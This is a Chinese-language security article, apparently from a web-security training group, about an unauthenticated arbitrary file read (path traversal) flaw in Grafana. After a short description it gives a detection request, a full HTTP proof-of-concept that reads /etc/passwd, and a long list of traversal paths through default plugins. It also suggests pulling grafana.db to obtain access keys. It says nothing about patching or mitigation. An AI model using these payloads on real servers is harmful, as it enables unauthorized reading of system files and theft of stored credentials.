Grafana 任意文件读取漏洞
2021-12-16 21:30:52 Author: mp.weixin.qq.com(查看原文) 阅读量:37 收藏

文章来源｜MS08067 Web安全知识星球

本文作者：Taoing（Web漏洞挖掘班讲师）

一、漏洞描述

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。

Grafana 存在未授权任意文件读取漏洞，攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件。

该漏洞危害等级：高危

该漏洞源于Grafana在获取公共插件资产的相关函数中对于路径参数的字符清理不当，导致攻击者可以通过将包含特殊目录遍历字符序列(../)的特制HTTP请求发送到受影响的设备来利用此漏洞。成功利用该漏洞的攻击者可以在目标设备上查看文件系统上的的任意文件。

二、漏洞复现

简单判断是否存在：/public/plugins/a/a

400 啥的需要考虑中间件

GET /public/plugins/a/a  HTTP/1.1Host: Your Ip:portUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0Accept: */*Accept-Language: zh-CN,en;q=0.5Accept-Encoding: gzip, deflateConnection: closePragma: no-cacheCache-Control: no-cache

存在

POC：

GET /public/plugins/grafana-clock-panel/../../../../../../etc/passwd HTTP/1.1Host: Your Ip:portUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1

默认安装插件

/public/plugins/alertGroups/../../../../../../../../etc/passwd/public/plugins/alertlist/../../../../../../../../etc/passwd/public/plugins/alertmanager/../../../../../../../../etc/passwd/public/plugins/annolist/../../../../../../../../etc/passwd/public/plugins/barchart/../../../../../../../../etc/passwd/public/plugins/bargauge/../../../../../../../../etc/passwd/public/plugins/canvas/../../../../../../../../etc/passwd/public/plugins/cloudwatch/../../../../../../../../etc/passwd/public/plugins/dashboard/../../../../../../../../etc/passwd/public/plugins/dashlist/../../../../../../../../etc/passwd/public/plugins/debug/../../../../../../../../etc/passwd/public/plugins/elasticsearch/../../../../../../../../etc/passwd/public/plugins/gauge/../../../../../../../../etc/passwd/public/plugins/geomap/../../../../../../../../etc/passwd/public/plugins/gettingstarted/../../../../../../../../etc/passwd/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd/public/plugins/grafana/../../../../../../../../etc/passwd/public/plugins/graph/../../../../../../../../etc/passwd/public/plugins/graphite/../../../../../../../../etc/passwd/public/plugins/heatmap/../../../../../../../../etc/passwd/public/plugins/histogram/../../../../../../../../etc/passwd/public/plugins/influxdb/../../../../../../../../etc/passwd/public/plugins/jaeger/../../../../../../../../etc/passwd/public/plugins/live/../../../../../../../../etc/passwd/public/plugins/logs/../../../../../../../../etc/passwd/public/plugins/loki/../../../../../../../../etc/passwd/public/plugins/mixed/../../../../../../../../etc/passwd/public/plugins/mssql/../../../../../../../../etc/passwd/public/plugins/mysql/../../../../../../../../etc/passwd/public/plugins/news/../../../../../../../../etc/passwd/public/plugins/nodeGraph/../../../../../../../../etc/passwd/public/plugins/opentsdb/../../../../../../../../etc/passwd/public/plugins/piechart/../../../../../../../../etc/passwd/public/plugins/pluginlist/../../../../../../../../etc/passwd/public/plugins/postgres/../../../../../../../../etc/passwd/public/plugins/prometheus/../../../../../../../../etc/passwd/public/plugins/stat/../../../../../../../../etc/passwd/public/plugins/state-timeline/../../../../../../../../etc/passwd/public/plugins/status-history/../../../../../../../../etc/passwd/public/plugins/table-old/../../../../../../../../etc/passwd/public/plugins/table/../../../../../../../../etc/passwd/public/plugins/tempo/../../../../../../../../etc/passwd/public/plugins/testdata/../../../../../../../../etc/passwd/public/plugins/text/../../../../../../../../etc/passwd/public/plugins/timeseries/../../../../../../../../etc/passwd/public/plugins/welcome/../../../../../../../../etc/passwd/public/plugins/xychart/../../../../../../../../etc/passwd/public/plugins/zipkin/../../../../../../../../etc/passwd
RCE方法-->读库(/var/lib/grafana/grafana.db)，有几率获取 AccessKey
参考：
https://vas.riskivy.com/vuln-detail?id=104https://nosec.org/home/detail/4914.html
课程咨询请联系小客服
扫描下方二维码加入星球学习
加入后邀请你进入内部微信群，内部微信群永久有效！
 
 
来和5000+位同学一起加入星球学习吧！







文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247497222&idx=1&sn=306ca971fb6be7a0ac6c91b0875d6a32&chksm=fc3c4f07cb4bc611488533bcb0650fd05ae2dd3504d8427bfcc7ece9ba1dc802de1ae8b20b67#rd
 如有侵权请联系:admin#unsafe.sh